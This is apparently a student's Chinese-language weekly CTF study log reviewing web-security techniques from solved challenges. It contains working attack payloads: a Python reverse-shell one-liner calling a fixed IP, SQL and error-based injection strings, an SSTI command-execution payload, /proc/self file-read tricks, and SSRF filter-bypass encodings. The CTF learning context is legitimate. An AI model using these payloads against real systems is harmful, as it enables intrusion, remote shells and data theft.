2023 10月2日 至 10 月8日学习总结

学了半天 想了还是需要进行个总结

1.做的题目

NSSCTF [BJDCTF 2020]easy_md5 md5实现sql-CSDN博客

[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息_双层小牛堡的博客-CSDN博客

[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入_双层小牛堡的博客-CSDN博客

攻防世界 mfw git泄露构造闭合-CSDN博客

攻防世界 Web_python_template_injection SSTI printer方法_双层小牛堡的博客-CSDN博客

CTFSHOW SSRF_双层小牛堡的博客-CSDN博客

[GXYCTF2019]禁止套娃 无回显 RCE 过滤__FILE__ dirname等-CSDN博客

CTFHUB - SSRF_双层小牛堡的博客-CSDN博客

[b01lers2020]Welcome to Earth_双层小牛堡的博客-CSDN博客

以上是

2023 10月2-8日做的题目 正值国庆假期 所以题目会多点

2.知识点

这里进行知识点的复习

特殊的MD5 实现万能钥匙闭合

题目内容是 一个sql语句

select *  from password = md5($pass,true)

这里会通过MD5 然后进行查询

这里就会有一个特殊的md5

ffifdyop

md5为 276F722736C95D99E921722CF9ED621C

然后通过十六进制转字符串

为'or'6  É]é!r,ùíb

所以传入的值变为了

select *  from password = ''or'6  É]é!r,ùíb'

就会实现万能密码的作用

这里还有一个

129581926211651571912466741651878684928

作用是一样的

proc/self文件夹

Linux的/proc/self/学习_lmonstergg的博客-CSDN博客

文件夹里都是和进程相关的

首先存在 environ 和 cmdline

其中会存在敏感信息

存在任意文件读取 我们可以去读取这个

然后获取完如果想获得当前工作环境的文件内容

可以通过 /proc/self/cwd/文件 来读取

如果文件代码中存在 open 打开文件的字样

那么就会在 /proc/self/fd/[0-999] 中创建

然后我们就可以通过 bp爆破 获取敏感信息

反弹shell

主要是python反弹shell

首先可以通过

os.system(shell)

发现可以执行命令

然后可以让受害者 主动链接攻击机器 主要方式是通过免费域名

然后进行监听端口

主要反弹shell的代码

//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

NATAPP -

这里可以免费获取

没有回显的rce就可以使用这个

报错注入读取文件

通过 load_file("文件") 来读取

updatexml(1,concat(0x7e,(select load_file('/flag'))),3)

二次注入

    $address = addslashes($_POST["address"]);

发现没有进行过滤

    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];

并且会从数据库进行读取

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

这里的old_address 那么我们输入报错语句 ' updatexml() 就会一样的输出 因为只是作为转义存入了

所以会原封不动的输出

 $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='"' updatexml()#"' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);

实现了 二次注入

SSTI的 printer方法

这里只是记录一下 这个方法也可以实现注入

格式为下面的

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

SSRF ctfshow内容

主要是 sudo.cc 表示 127.0.0.1

127.1 表示127.0.0.1

无回显rce localeconv() array_reverse() session_start()

因为过滤了 __ dir

无法使用以前的 print_r(FILE)

这里可以通过 localeconv() 返回当前目录中的 .

然后通过指定 . 使用 current(localeconv())

print_r(current(localeconv)) 就类似于 print_r('.')

会回显当前

array_reverse 让数组倒序输出

这里还可以使用 session_start(session_id) 开启 session 然后通过 session 传递 flag.php

所以直接

print_r(session_start(session_id))

Cookie: PHPSESSID=flag.php

即可

SSRF ctfhub内容

打中间件直接使用 gopherus

git clone https://github.com/tarunkant/Gopherus.git

通过 工具生成 payload 然后 进行一次 url编码 即可

通过蚁剑链接 实现rce

可以通过

dict://127.0.0.1:xx 扫描端口 发现服务

gopher:// 可以伪造请求包 发送请求

格式

gopher://ip:port/_内容

需要进行2次url

%0a 需要 替换为%0d%0a

结尾也需要加上 %0d%0a

FASTCGI 作为服务器和解释器之间的协议

我们可以伪造包去访问FASTCGI 然后通过设置包含 实现rce

ctf@127.0.0.1 会被解析为 127.0.0.1

127.0.0.1:
 
 
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
 
或者利用其他为 127.0.0.1的内容
 
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302可以通过短网址-短链接生成 还有 xip.io

DNS bypass 就是通过时间差 转变域名的 ip 当第一次ip通过检查后 第二次变为127.0.0.1

rbndr.us dns rebinding service

python排列组合方式

from itertools import permutations
 
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
 
item = permutations(flag)
 
for i in item:
    k=''.join(list(i))
    if k.startswith('pctf{')    and k[-1]=='}':
        print(k)

可以输出数组所有组合方式 我们确定开头和结尾 即可得到flag

3.不足

做题 没有沉下心来做 没思路就去看wp了

有的时候做题 感觉不难的 为什么不坚持坚持 去搜搜知识点 而不是直接搜wp来做

4.下一周计划

美亚可以准备了

buu继续做

nss 可以跟上 做点比赛真题

相关推荐
百流16 分钟前
scala文件编译相关理解
开发语言·学习·scala
雁于飞2 小时前
c语言贪吃蛇(极简版,基本能玩)
c语言·开发语言·笔记·学习·其他·课程设计·大作业
大丈夫立于天地间11 小时前
ISIS基础知识
网络·网络协议·学习·智能路由器·信息与通信
Chambor_mak12 小时前
stm32单片机个人学习笔记14(USART串口数据包)
stm32·单片机·学习
PaLu-LI13 小时前
ORB-SLAM2源码学习:Initializer.cc⑧: Initializer::CheckRT检验三角化结果
c++·人工智能·opencv·学习·ubuntu·计算机视觉
yuanbenshidiaos13 小时前
【大数据】机器学习----------计算机学习理论
大数据·学习·机器学习
汤姆和佩琦13 小时前
2025-1-20-sklearn学习(42) 使用scikit-learn计算 钿车罗帕,相逢处,自有暗尘随马。
人工智能·python·学习·机器学习·scikit-learn·sklearn
Tech智汇站14 小时前
Quick Startup,快捷处理自启程序的工具,加快电脑开机速度!
经验分享·科技·学习·学习方法·改行学it
qq_3127384514 小时前
jvm学习总结
jvm·学习